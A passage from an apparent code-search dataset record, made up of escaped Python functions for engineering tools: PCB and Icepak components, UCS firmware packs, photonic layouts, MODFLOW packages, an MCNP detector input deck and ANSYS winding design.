height=self.height)","def add_create_pl_btn(self):\n self.create_pl = QPushButton(\"Add to playlist\")\n self.create_pl.clicked.connect(self.pl_btn_push)\n self.hbtnbox.addWidget(self.create_pl)","def create(cls,configuration,data_handler):\n ID = configuration[config.ID] \n d = configuration.get(config.DESCRIPTION,cls.description)\n n = configuration.get(config.NAME,cls.name)\n path = configuration['path'] \n \n #hardware._file.debug = True\n return NIPCI6602(path,ID,n,d)","def create_module(module_dict: Dict[str, Any], nets: List[Net]) -> Module:\n m_data = module_dict['module']\n footprint = m_data[0].replace('\"', \"\")\n layer = convert_to_layers(get_dict_by_key(m_data, 'layer')['layer'])[0]\n coords = get_dict_by_key(m_data, 'at')['at']\n if len(coords) == 3 and \"B.\" in layer.name:\n coords[2] = (float(coords[2]) + 180) % 360\n coords[1] = str(-1*float(coords[1]))\n attr = get_dict_by_key(m_data, 'attr')\n smd: bool = True if (attr and attr['attr'] == 'smd') else False\n module_texts: List[FpText] = get_texts(m_data, 'fp_text')\n figures: List[Union[FpPoly, FpCircle, FpArc, FpLine]] = get_lines(m_data, 'fp_line')\n figures.extend(get_circles(m_data, 'fp_circle'))\n pads = get_pads(m_data, nets)\n ref = [text.text for text in module_texts if text.text_type ==TextType.reference][0]\n update_nets_with_pads(pads, nets, ref)\n figures.extend(get_polys(m_data, 'fp_poly'))\n figures.extend(get_arcs(m_data, 'fp_arc'))\n return Module(footprint=footprint, layer=layer, coords=coords, smd=smd,\n texts=module_texts, pads=pads, figures=figures, extrapads=list())","def __init__(self, *args):\r\n self.part_info = args[0]\r\n self.part_rows = []\r\n self.grid_part = None\r\n\r\n for i, description in enumerate(self.part_info.participant_info_name):\r\n self.part_rows.append(self.create_part(i, description))\r\n \r\n self.grid_part = self.create_grid_part()\r\n self.field_filled = self.on_field_filled()\r\n self.show()"],"string":"[\n \"def create_pcb_from_3dlayout(\\n self,\\n component_name,\\n project_name,\\n design_name,\\n resolution=2,\\n extenttype=\\\"Bounding Box\\\",\\n outlinepolygon=\\\"\\\",\\n close_linked_project_after_import=True,\\n custom_x_resolution=None,\\n custom_y_resolution=None,\\n ):\\n if project_name == self.project_name:\\n project_name = \\\"This Project*\\\"\\n link_data = [project_name, design_name, \\\"<--EDB Layout Data-->\\\", False, False]\\n status = self.create_ipk_3dcomponent_pcb(\\n component_name,\\n link_data,\\n \\\"\\\",\\n resolution,\\n extenttype=extenttype,\\n outlinepolygon=outlinepolygon,\\n custom_x_resolution=custom_x_resolution,\\n custom_y_resolution=custom_y_resolution,\\n )\\n\\n if close_linked_project_after_import and \\\".aedt\\\" in project_name:\\n prjname = os.path.splitext(os.path.basename(project_name))[0]\\n self.close_project(prjname, saveproject=False)\\n self.logger.glb.info(\\\"PCB component correctly created in Icepak.\\\")\\n return status\",\n \"def build(cmpd, density=0.5*u.gram/(u.cm**3), n_compounds=1000, \\n ff='ff/TraPPE_UA_3_fully_flexible_propane.xml'):\\n density.convert_to_units(u.kilogram/u.m**3)\\n\\n # Pack a box\\n box = mb.fill_box(cmpd, n_compounds=n_compounds, density=density.value)\\n\\n # Wrap coordinates\\n new_xyz = box.xyz - 1 * np.floor_divide(box.xyz, box.periodicity) * box.periodicity\\n box.xyz = new_xyz\\n\\n # Apply non-atomistic, custom element naming convention\\n for part in box.particles():\\n part.name = \\\"_\\\" + part.name\\n\\n # Utilize foyer to parametrize our box\\n ff = foyer.Forcefield(forcefield_files=ff)\\n box = box.to_parmed(infer_residues=True)\\n parametrized_structure = ff.apply(box, combining_rule='lorentz')\\n\\n # Dump initial coordinates\\n parametrized_structure.save('compound.pdb', overwrite=True)\\n parametrized_structure.save('compound.mol2', overwrite=True)\\n parametrized_structure.save('compound.gro', overwrite=True)\\n\\n return parametrized_structure\",\n \"def firmware_pack_create(handle, org_name, name, rack_bundle_version,\\n blade_bundle_version, descr=\\\"\\\", mode=\\\"staged\\\",\\n org_parent=\\\"org-root\\\"):\\n\\n org_dn = org_parent + \\\"/org-\\\" + org_name\\n p_mo = handle.query_dn(org_dn)\\n if not p_mo:\\n log.info(\\\"Sub-Org <%s> not found!\\\" % org_name)\\n else:\\n from ucsmsdk.mometa.firmware.FirmwareComputeHostPack import\\\\\\n FirmwareComputeHostPack\\n\\n mo = FirmwareComputeHostPack(parent_mo_or_dn=org_dn,\\n name=name,\\n descr=descr,\\n rack_bundle_version=rack_bundle_version,\\n mode=mode,\\n blade_bundle_version=blade_bundle_version)\\n handle.add_mo(mo)\\n handle.commit()\",\n \"def test_make_layout():\\n raw = hcp.read_raw(data_type='rest', **hcp_params).crop(0, 1).load_data()\\n raw.pick_types()\\n lout = make_hcp_bti_layout(raw.info)\\n assert_equal(lout.names, raw.info['ch_names'])\",\n \"def program_new_pcb(fx3_firmware, fpga_firmware, VID=default_VID, PID=default_PID, di_file=default_di_file):\\n fx3.program_new_pcb(fx3_firmware, VID=VID, PID=PID, di_file=di_file)\",\n \"def hfp_create(handle, org_dn, name,\\r\\n blade_bundle_version=\\\"\\\",\\r\\n rack_bundle_version=\\\"\\\",\\r\\n ignore_comp_check=\\\"yes\\\",\\r\\n update_trigger=\\\"immediate\\\",\\r\\n mode=\\\"staged\\\",\\r\\n stage_size=\\\"0\\\",\\r\\n policy_owner=\\\"local\\\",\\r\\n descr=\\\"testdescr\\\"):\\r\\n\\r\\n from ucsmsdk.mometa.firmware.FirmwareComputeHostPack import \\\\\\r\\n FirmwareComputeHostPack\\r\\n\\r\\n org = handle.query_dn(org_dn)\\r\\n if org is None:\\r\\n raise ValueError(\\\"Org '%s' does not exist\\\" % org_dn)\\r\\n\\r\\n mo = FirmwareComputeHostPack(parent_mo_or_dn=\\\"org-root\\\",\\r\\n name=name,\\r\\n blade_bundle_version=blade_bundle_version,\\r\\n rack_bundle_version=rack_bundle_version,\\r\\n ignore_comp_check=ignore_comp_check,\\r\\n update_trigger=update_trigger,\\r\\n mode=mode,\\r\\n stage_size=stage_size,\\r\\n policy_owner=policy_owner,\\r\\n descr=descr)\\r\\n handle.add_mo(mo, modify_present=True)\\r\\n handle.commit()\\r\\n\\r\\n return mo\",\n \"def create_plaquette(self, baseStr, fidpairs):\\n ji_list = list(_itertools.product(list(range(self.nMinorRows)),\\n list(range(self.nMinorCols))))\\n assert(len(ji_list) >= len(fidpairs)), \\\"Number of minor rows/cols is too small!\\\"\\n\\n elements = [(j, i, prepStr + baseStr + effectStr)\\n for (j, i), (prepStr, effectStr) in\\n zip(ji_list[0:len(fidpairs)], fidpairs)] # note preps are *cols* not rows\\n\\n return CircuitPlaquette(baseStr, self.nMinorRows,\\n self.nMinorCols, elements,\\n self.aliases, fidpairs[:])\",\n \"def produce(self, layout, layers, parameters, cell):\\n self._layers = layers\\n self.cell = cell\\n self._param_values = parameters\\n self.layout = layout\\n\\n\\n # cell: layout cell to place the layout\\n # LayerSiN: which layer to use\\n # r: radius\\n # w: waveguide width\\n # length units in dbu\\n\\n from math import pi, cos, sin\\n from SiEPIC.utils import arc, arc_to_waveguide, points_per_circle, arc_wg\\n\\n # fetch the parameters\\n dbu = self.layout.dbu\\n ly = self.layout\\n shapes = self.cell.shapes\\n \\n LayerSi = self.silayer\\n LayerSiN = self.silayer_layer\\n LayerPinRecN = ly.layer(self.pinrec)\\n LayerDevRecN = ly.layer(self.devrec)\\n \\n w = int(round(self.wg_width/dbu))\\n r = int(round(self.radius/dbu))\\n\\n # draw the quarter-circle\\n x = -r\\n y = r\\n # layout_arc_wg_dbu(self.cell, LayerSiN, x, y, r, w, 270, 360)\\n t = Trans(Trans.R0,x, y)\\n self.cell.shapes(LayerSiN).insert(arc_to_waveguide(arc(r, 270, 360), w).transformed(t))\\n \\n # Create the pins on the waveguides, as short paths:\\n from SiEPIC._globals import PIN_LENGTH as pin_length\\n \\n # Pin on the top side:\\n p2 = [Point(0, y-pin_length/2), Point(0, y+pin_length/2)]\\n p2c = Point(0, y)\\n self.set_p2 = p2c\\n self.p2 = p2c\\n pin = Path(p2, w)\\n shapes(LayerPinRecN).insert(pin)\\n t = Trans(Trans.R0, 0, y)\\n text = Text (\\\"pin2\\\", t)\\n shape = shapes(LayerPinRecN).insert(text)\\n shape.text_size = 0.4/dbu\\n\\n # Pin on the left side:\\n p1 = [Point(pin_length/2+x,0), Point(-pin_length/2+x,0)]\\n p1c = Point(x,0)\\n self.set_p1 = p1c\\n self.p1 = p1c\\n pin = Path(p1, w)\\n shapes(LayerPinRecN).insert(pin)\\n t = Trans(Trans.R0, x, 0)\\n text = Text (\\\"pin1\\\", t)\\n shape = shapes(LayerPinRecN).insert(text)\\n shape.text_size = 0.4/dbu\\n\\n # Create the device recognition layer -- make it 1 * wg_width away from the waveguides.\\n t = Trans(Trans.R0,x, y)\\n self.cell.shapes(LayerDevRecN).insert(arc_to_waveguide(arc(r, 270, 360), w*3).transformed(t))\\n #layout_arc_wg_dbu(self.cell, LayerDevRecN, x, y, r, w*3, 270, 360)\\n\\n # Compact model information\\n t = Trans(Trans.R0, x+r/10, 0)\\n text = Text (\\\"Lumerical_INTERCONNECT_library=Design kits/EBeam\\\", t)\\n shape = shapes(LayerDevRecN).insert(text)\\n shape.text_size = r/100\\n t = Trans(Trans.R0, x+r/10, r/4)\\n text = Text ('Component=ebeam_bend_1550', t)\\n shape = shapes(LayerDevRecN).insert(text)\\n shape.text_size = r/100\\n t = Trans(Trans.R0, x+r/10, r/2)\\n text = Text ('Spice_param:radius=%.3fu wg_width=%.3fu'% (self.radius,self.wg_width), t)\\n shape = shapes(LayerDevRecN).insert(text)\\n shape.text_size = r/100\",\n \"def create(self, verbose=False):\\r\\n # delete the window if its handle exists\\r\\n if cmds.window(self.window, exists=True):\\r\\n cmds.deleteUI(self.window)\\r\\n # initialize the window as a pane for docking\\r\\n self.window = cmds.loadUI(uiFile=self.uiFile, verbose=verbose)\\r\\n #layoutWin = cmds.paneLayout(configuration='single')\\r\\n # create a dockControl and parent the control to layoutWin\\r\\n cmds.dockControl(allowedArea='all', area='right', floating=False, \\r\\n height=cmds.window(self.window, query=True, height=True), \\r\\n content=self.window, label='Docked Cone Pointer Window')\\r\\n cmds.showWindow(self.window)\",\n \"def __init__(self, structure_id, pdb_file, amb_file, flex1_file, flex2_file, root_dir=None):\\n\\n super(DOCK, self).__init__(id=structure_id, description='DOCK6 preparation')\\n self._root_dir = None\\n self.structure_path = pdb_file\\n\\n if root_dir:\\n self.root_dir = root_dir\\n else:\\n self.root_dir = self.structure_dir\\n\\n self.dockprep_path = None\\n self.receptormol2_path = None\\n self.receptorpdb_path = None\\n self.dms_path = None\\n self.sphgen_path = None\\n self.bindingsite_path = None\\n self.sphsel_path = None\\n self.box_path = None\\n self.grid_path = None\\n\\n self.dock_flexible_outfile = None\\n self.dock_flexible_scored_result = None\\n self.dock_flexible_conformers_result = None\\n\\n self.amb_file = amb_file\\n self.flex1_file = flex1_file\\n self.flex2_file = flex2_file\\n\\n log.debug('{}: created DOCK6 project folder at {}'.format(structure_id, self.dock_dir))\",\n \"def fig3b():\\n # fmt: off\\n tpm = np.array([\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [0, 0, 0, 0],\\n [1, 0, 0, 0],\\n [1, 0, 0, 0],\\n ])\\n cm = np.array([\\n [0, 0, 0, 0],\\n [1, 0, 0, 0],\\n [1, 0, 0, 0],\\n [1, 0, 0, 0],\\n ])\\n # fmt: on\\n return Network(tpm, cm=cm, node_labels=LABELS[:tpm.shape[1]])\",\n \"def build(self, name=None):\\n wire_body = brep().createWireFromCurves(self._segments, allowSelfIntersections=False)[0]\\n return BRepComponent(brep().createFaceFromPlanarWires([wire_body]), name=name)\",\n \"def create_instance(c_instance):\\n return OpenLabs(c_instance)\",\n \"def create_test_firmware_component(**kw):\\n fw_cmp_values = get_test_firmware_component(**kw)\\n if 'id' not in kw:\\n del fw_cmp_values['id']\\n dbapi = db_api.get_instance()\\n return dbapi.create_firmware_component(fw_cmp_values)\",\n \"def __init__(\\n self,\\n model,\\n ipakcb=None,\\n intercellt=0,\\n laycon=3,\\n trpy=1.0,\\n hdry=-1e30,\\n iwdflg=0,\\n wetfct=0.1,\\n iwetit=1,\\n ihdwet=0,\\n ikvflag=0,\\n ikcflag=0,\\n tran=1.0,\\n hy=1.0,\\n vcont=1.0,\\n kv=1.0,\\n anglex=0.0,\\n ksat=1.0,\\n sf1=1e-5,\\n sf2=0.15,\\n wetdry=-0.01,\\n extension=\\\"bcf\\\",\\n unitnumber=None,\\n filenames=None,\\n add_package=True,\\n ):\\n msg = (\\n \\\"Model object must be of type flopy.mfusg.MfUsg\\\\n\\\"\\n f\\\"but received type: {type(model)}.\\\"\\n )\\n assert isinstance(model, MfUsg), msg\\n\\n super().__init__(\\n model,\\n ipakcb=ipakcb,\\n intercellt=intercellt,\\n laycon=laycon,\\n trpy=trpy,\\n hdry=hdry,\\n iwdflg=iwdflg,\\n wetfct=wetfct,\\n iwetit=iwetit,\\n ihdwet=ihdwet,\\n tran=tran,\\n hy=hy,\\n vcont=vcont,\\n sf1=sf1,\\n sf2=sf2,\\n wetdry=wetdry,\\n extension=extension,\\n unitnumber=unitnumber,\\n filenames=filenames,\\n add_package=False,\\n )\\n\\n dis = model.get_package(\\\"DIS\\\")\\n if dis is None:\\n dis = model.get_package(\\\"DISU\\\")\\n structured = self.parent.structured\\n\\n nrow, ncol, nlay, _ = self.parent.nrow_ncol_nlay_nper\\n\\n self.ikvflag = ikvflag\\n self.ikcflag = ikcflag\\n self.kv = kv\\n self.anglex = anglex\\n self.ksat = ksat\\n\\n if not structured:\\n njag = dis.njag\\n self.anglex = Util2d(\\n model,\\n (njag,),\\n np.float32,\\n anglex,\\n \\\"anglex\\\",\\n locat=self.unit_number[0],\\n )\\n\\n # item 1\\n self.kv = Util3d(\\n model,\\n (nlay, nrow, ncol),\\n np.float32,\\n kv,\\n \\\"Vertical Hydraulic Conductivity\\\",\\n locat=self.unit_number[0],\\n )\\n if not structured:\\n self.ksat = Util3d(\\n model,\\n (njag,),\\n np.float32,\\n ksat,\\n \\\"ksat\\\",\\n locat=self.unit_number[0],\\n )\\n\\n if add_package:\\n self.parent.add_package(self)\",\n \"def create_plate(num_wells, name):\\n rows, cols = calc.rows_columns(int(num_wells))\\n new_plate = plate.Plate(rows, cols, name)\\n return new_plate\",\n \"def make_input_top(self) :\\n stencil_length = str(len(self.core.stencil[0,:]))\\n self.input_top = \\\\\\n \\\"LABANPEL -- poropy driver \\\\n\\\" +\\\\\\n \\\" 2 \\\" + stencil_length + \\\" \\\" + stencil_length +\\\\\\n \\\" \\\" + str(len(self.core.pattern)+1) + \\\" 0 0 2 1.0\\\\n\\\" +\\\\\\n \\\" \\\"+str(self.order)+\\\" 0 0 0 0 0 0 0 0\\\\n\\\"+\\\\\\n \\\" 1 0. 0. 0 100 10 \\\" + str(self.tolerance)+\\\" \\\" +\\\\\\n str(self.tolerance)+\\\" \\\"+str(self.tolerance) + \\\" 1.0\\\\n\\\" \\n # horizontal subdivisions \\n for i in range(0, self.dimension) :\\n self.input_top += \\\" \\\"+str(self.subdivisions[i])\\n self.input_top += \\\" \\\\n\\\"\\n # vertical subdivisions\\n for i in range(0, self.dimension) :\\n self.input_top += \\\" \\\"+str(self.subdivisions[i])\\n self.input_top += \\\" \\\\n\\\" \\n # horizontal mesh widths\\n for i in range(0, self.dimension) :\\n self.input_top += \\\" \\\"+str(self.widths[i])\\n self.input_top += \\\" \\\\n\\\" \\n # vertical mesh widths\\n for i in range(0, self.dimension) :\\n self.input_top += \\\" \\\"+str(self.widths[i])\\n self.input_top += \\\" \\\\n\\\"\",\n \"def createComplejoPlatino(c_dict):\\n\\tnom = c_dict['nombre'].split()\\n\\tnom.insert(1, 'Platino')\\n\\tnombre = ' '.join(nom)\\n\\tc_dict['nombre'] = nombre\\n\\tc_dict['id_org'] = int(c_dict['id_org']) + 10000\\n\\tcreateComplejo(c_dict)\",\n \"def ec_contaier_create(self, oclass):\\n # Get container params\\n self.ec_container = TestContainer(\\n self.pool, daos_command=DaosCommand(self.bin))\\n self.ec_container.get_params(self)\\n self.ec_container.oclass.update(oclass)\\n # update object class for container create, if supplied\\n # explicitly.\\n ec_object = self.get_data_parity_number(oclass)\\n self.ec_container.properties.update(\\\"rf:{}\\\".format(ec_object['parity']))\\n\\n # create container\\n self.ec_container.create()\",\n \"def add_connector(self):\\n \\n no = len(self.connectors)\\n state = {}\\n state[\\\"s_pin\\\"] = no\\n state[\\\"p_pin\\\"] = no\\n state[\\\"s_label\\\"] = \\\"C%d\\\" % no\\n \\n if len(self.connectors)>0:\\n state = self.connectors[-1].get_state()\\n state[\\\"s_pin\\\"] = no\\n state[\\\"p_pin\\\"] = no\\n state[\\\"s_label\\\"] = \\\"C%d\\\" % (no)\\n else:\\n if self.mount == self.MOUNT_THT:\\n state[\\\"p_shape\\\"] = Con.SHAPE_HOLE\\n elif self.mount == self.MOUNT_SMD:\\n state[\\\"p_shape\\\"] = Con.SHAPE_PAD\\n \\n c = Con(no)\\n c.set_state(state) \\n \\n self.sch_layers[\\\"pins\\\"].add(c.s_svg)\\n self.pcb_layers[\\\"copper1\\\"].add(c.p_svg)\\n self.connectors.append(c)\",\n \"def compiler(input_ckt:pathlib.Path, design_name:str, pdk_dir:pathlib.Path, flat=0, Debug=False):\\n logger.info(\\\"Starting topology identification...\\\")\\n input_dir = input_ckt.parents[0]\\n logger.debug(f\\\"Reading subckt {input_ckt}\\\")\\n #\\n # TODO: flatten should be separate pass\\n #\\n sp = SpiceParser(input_ckt, design_name, flat, pdk_dir)\\n circuit_graphs = sp.sp_parser()\\n assert circuit_graphs !=None , f\\\"No subcircuit with name {design_name} found in spice {input_ckt}\\\"\\n circuit = circuit_graphs[0]\\n\\n design_setup = read_setup(input_dir / f'{design_name}.setup')\\n logger.debug(f\\\"template parent path: {pathlib.Path(__file__).parent}\\\")\\n lib_path = pathlib.Path(__file__).resolve().parent.parent / 'config' / 'basic_template.sp'\\n logger.debug(f\\\"template library path: {lib_path}\\\")\\n basic_lib = SpiceParser(lib_path)\\n library = basic_lib.sp_parser()\\n lib_path=pathlib.Path(__file__).resolve().parent.parent / 'config' / 'user_template.sp'\\n user_lib = SpiceParser(lib_path)\\n library += user_lib.sp_parser()\\n library = [HierDictNode(**x, constraints=[], ports_weight={}) for x in library]\\n library=sorted(library, key=lambda k: max_connectivity(k.graph), reverse=True)\\n\\n logger.debug(f\\\"dont use cells: {design_setup['DONT_USE_CELLS']}\\\")\\n logger.debug(f\\\"all library elements: {[ele['name'] for ele in library]}\\\")\\n if len(design_setup['DONT_USE_CELLS'])>0:\\n library=[lib_ele for lib_ele in library if lib_ele['name'] not in design_setup['DONT_USE_CELLS']]\\n #read lef to not write those modules as macros\\n lef_path = pathlib.Path(__file__).resolve().parent.parent / 'config'\\n all_lef = read_lef(lef_path)\\n logger.debug(f\\\"Available library cells: {', '.join(all_lef)}\\\")\\n\\n if Debug==True:\\n _write_circuit_graph(circuit[\\\"name\\\"], circuit[\\\"graph\\\"],\\n \\\"./circuit_graphs/\\\")\\n for lib_circuit in library:\\n _write_circuit_graph(lib_circuit[\\\"name\\\"], lib_circuit[\\\"graph\\\"],\\n \\\"./circuit_graphs/\\\")\\n #Converting graph to dict\\n const_parse = ConstraintParser(pdk_dir, input_dir)\\n create_data = CreateDatabase(circuit[\\\"graph\\\"], const_parse)\\n hier_graph_dict = create_data.read_inputs(circuit[\\\"name\\\"])\\n logger.debug(\\\"START preprocessing\\\")\\n stacked_subcircuit=[]\\n\\n #\\n # TODO: Re-implement stacked transistor detection using new passes\\n #\\n for circuit_name, circuit in hier_graph_dict.items():\\n logger.debug(f\\\"preprocessing circuit name: {circuit_name}\\\")\\n G1 = circuit[\\\"graph\\\"]\\n if circuit_name not in design_setup['DIGITAL']:\\n define_SD(circuit,design_setup['POWER'],design_setup['GND'], design_setup['CLOCK'])\\n stacked_subcircuit.append(preprocess_stack_parallel(hier_graph_dict,circuit_name,G1))\\n for circuit_name in stacked_subcircuit:\\n if circuit_name in hier_graph_dict.keys() and circuit_name is not design_name:\\n logger.debug(f\\\"removing stacked subcircuit {circuit_name}\\\")\\n del hier_graph_dict[circuit_name]\\n #\\n # TODO: pg_pins should be marked using constraints. Not manipulating netlist\\n #\\n logger.debug(\\\"Modifying pg pins in design for PnR\\\")\\n pg_pins = design_setup['POWER']+design_setup['GND']\\n remove_pg_pins(hier_graph_dict,design_name, pg_pins)\\n\\n logger.debug( \\\"\\\\n################### FINAL CIRCUIT AFTER preprocessing #################### \\\\n\\\")\\n for circuit in hier_graph_dict.values():\\n for node in circuit[\\\"graph\\\"].nodes(data=True):\\n if node[1][\\\"inst_type\\\"]!='net':\\n logger.debug(node)\\n\\n annotate = Annotate(hier_graph_dict, design_setup, library, all_lef)\\n annotate.annotate()\\n return hier_graph_dict\",\n \"def createInputDeck(self,cylinderPositions,inp=None,name=None):\\n self.inp = inp\\n self.name = name\\n if not inp:\\n self.inp = 'INP_Cylinder.mcnp'\\n if not name:\\n self.name = 'OUT_Cylinder.'\\n oFile = self.inp\\n \\n # Problem Constants\\n cellString = 'c ------------------------- Source ----------------------------------------\\\\n'\\n cellString += '70 5 -15.1 -70 $ 252Cf source \\\\n' \\n cellString += '71 406 -11.34 -71 70 $ Lead around source\\\\n'\\n cellString += '72 456 -0.93 -72 71 $ Poly around source\\\\n'\\n\\n surfString = 'c ########################### Surface Cards ##############################\\\\n'\\n surfString += 'c ------------------- Encasing Bounds (Size of RPM8) ---------------------\\\\n'\\n surfString += '500 rpp 0 12.7 -15.25 15.25 0 217.7 \\\\n'\\n\\n # Add in other cells here\\n numCells = 4 # 3 Source, 1 RPM8 Encasing\\n \\n ##################################################################\\n # Add in Detector Cells and Surfaces #\\n ##################################################################\\n universeNum = 1\\n (s,c,detectorCells,cellsCreated) = self.createDetectorCylinder(universeNum)\\n surfString += s\\n cellString += 'c ------------------- Detector Cylinder Universe ------------------------\\\\n'\\n cellString += c\\n transNum = 1\\n uCellNum = self.UniverseNum\\n transString = ''\\n cellString += 'c ----------------------- Detector Universe ----------------------------\\\\n'\\n for pos in cylinderPositions:\\n transString += self.tranForStr.format(transNum,pos[0],pos[1])\\n cellString += '{:5d} 0 -{:d} trcl={:d} fill={:d}\\\\n'.format(uCellNum,self.SurfaceStartNum,transNum,universeNum)\\n transNum +=1\\n uCellNum +=1\\n # Adding the PMMA Moderator Block\\n m = self.material['Moderator']\\n cellString += 'c ------------------------- HDPE Moderator -----------------------------\\\\n'\\n cellString += '{:5d} {:d} -{:4.3f} -{:d} '.format(500,m['mt'],m['rho'],self.ZeroSurfaceNum)\\n cellString += ''.join('#{:d} '.format(i) for i in range(self.UniverseNum,uCellNum))\\n cellString += '\\\\n'\\n # Getting total number of cells\\n numCells += cellsCreated + uCellNum-self.UniverseNum +1\\n \\n ##################################################################\\n # Write the Tallies #\\n ##################################################################\\n univCells = range(self.UniverseNum,uCellNum)\\n tallyString = 'c ------------------------- Tallies Yo! -----------------------------------\\\\n'\\n tallies = {'F54:n':{'cells':detectorCells,'comments':'FC54 6Li Reaction Rates\\\\n',\\n 'options':' T\\\\nSD54 1 {0:d}R\\\\nFM54 -1 3 105'}}\\n for t in tallies:\\n # Getting a list of cells\\n tallyString += tallies[t]['comments']\\n tallyString += str(t)+' '\\n j = 0\\n for u in univCells:\\n cell = list('('+str(c)+'<'+str(u)+') ' for c in tallies[t]['cells'])\\n cell = [cell[i:i+6] for i in range(0,len(cell),6)]\\n if j > 0:\\n tallyString += ' '+''.join(''.join(i)+'\\\\n' for i in cell)\\n else:\\n tallyString += ' '.join(''.join(i)+'\\\\n' for i in cell)\\n j +=1\\n tallyString = tallyString.rstrip()\\n tallyString += tallies[t]['options'].format(len(univCells)*len(tallies[t]['cells']))\\n tallyString+='\\\\n'\\n\\n # Finish up the problem data\\n cellString += 'c ---------------------- Detector Encasing ------------------------------\\\\n'\\n cellString += '700 488 -7.92 701 -700 $ SS-316 Encasing \\\\n'\\n cellString += 'c -------------------------- Outside World -------------------------------\\\\n'\\n cellString += '1000 204 -0.001225 -1000 700 #70 #71 #72 $ Atmosphere \\\\n'\\n cellString += '1001 0 1000 \\\\n'\\n \\n surfString += 'c ------------------------ Encasing Material -----------------------------\\\\n'\\n surfString += '700 rpp -0.3175 13.018 -15.5675 15.5675 -0.3175 218.018 \\\\n'\\n surfString += '701 rpp 0.0 12.7 -15.25 15.25 0.0 217.7 \\\\n'\\n surfString += 'c -------------- Source --------------------------------------------------\\\\n'\\n surfString += '70 s -200 0 108.85 2.510E-04 $ Source \\\\n'\\n surfString += '71 s -200 0 108.85 5.0025E-01 $ 0.5 cm lead surrounding source \\\\n'\\n surfString += '72 s -200 0 108.85 3.00025 $ 2.5 cm poly surrounding source \\\\n'\\n surfString += 'c -------------- Outside World -------------------------------------------\\\\n'\\n surfString += '1000 so 250 \\\\n'\\n\\n matString = 'c -------------------------- Material Cards -----------------------------\\\\n'\\n matString += self.material['Detector']['matString']\\n matString += self.getMaterialString()\\n with open(oFile,'w') as o:\\n o.write('MCNPX Simulation of RPM8 Cylinder\\\\n')\\n o.write(cellString)\\n o.write('\\\\n')\\n o.write(surfString)\\n o.write('\\\\n')\\n o.write(self.getRunString().format(numCells))\\n o.write(self.getSrcString())\\n o.write(tallyString)\\n o.write(matString)\\n o.write(transString)\\n o.write('\\\\n')\",\n \"def WindingDesign(main):\\n oEditor = main['ANSYS']['oEditor']\\n\\n # Slots number\\n Slots = main['ANSYS']['FixedVariables']['Slots']\\n\\n # SlotType\\n SlotType = main['ANSYS']['FixedVariables']['SlotType']\\n\\n # Geimetric parameters\\n g = main['ANSYS']['DesignProperties']['Stator']['g']\\n\\n Hs0 = main['ANSYS']['DesignProperties']['Slot']['Hs0']\\n Hs1 = main['ANSYS']['DesignProperties']['Slot']['Hs1']\\n Hs2 = main['ANSYS']['DesignProperties']['Slot']['Hs2']\\n Bs1 = main['ANSYS']['DesignProperties']['Slot']['Bs1']\\n Bs2 = main['ANSYS']['DesignProperties']['Slot']['Bs2']\\n\\n DiaGap = main['ANSYS']['DesignProperties']['Rotor']['DiaGap']\\n\\n # Coils Arrange ABC\\n PhasesABC = main['ANSYS']['Winding']['ABC']\\n\\n # Color used for phases\\n Color = main['ANSYS']['Winding']['Color']\\n\\n oEditor.CreateUserDefinedPart(\\n [\\n \\\"NAME:UserDefinedPrimitiveParameters\\\",\\n \\\"DllName:=\\\"\\t\\t, \\\"RMxprt/LapCoil.dll\\\",\\n \\\"Version:=\\\"\\t\\t, \\\"16.0\\\",\\n \\\"NoOfParameters:=\\\"\\t, 22,\\n \\\"Library:=\\\"\\t\\t, \\\"syslib\\\",\\n [\\n \\\"NAME:ParamVector\\\",\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"DiaGap\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"DiaGap+g*2\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"DiaYoke\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"DiaYoke\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"Length\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"0mm\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"Skew\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"0deg\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"Slots\\\",\\n \\\"Value:=\\\"\\t\\t, str(int(Slots))\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"SlotType\\\",\\n \\\"Value:=\\\"\\t\\t, str(int(SlotType))\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"Hs0\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"Hs0\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"Hs1\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"Hs1\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"Hs2\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"Hs2\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"Bs0\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"Bs0\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"Bs1\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"Bs1\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"Bs2\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"Bs2\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"Rs\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"Rs\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"FilletType\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"0\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, 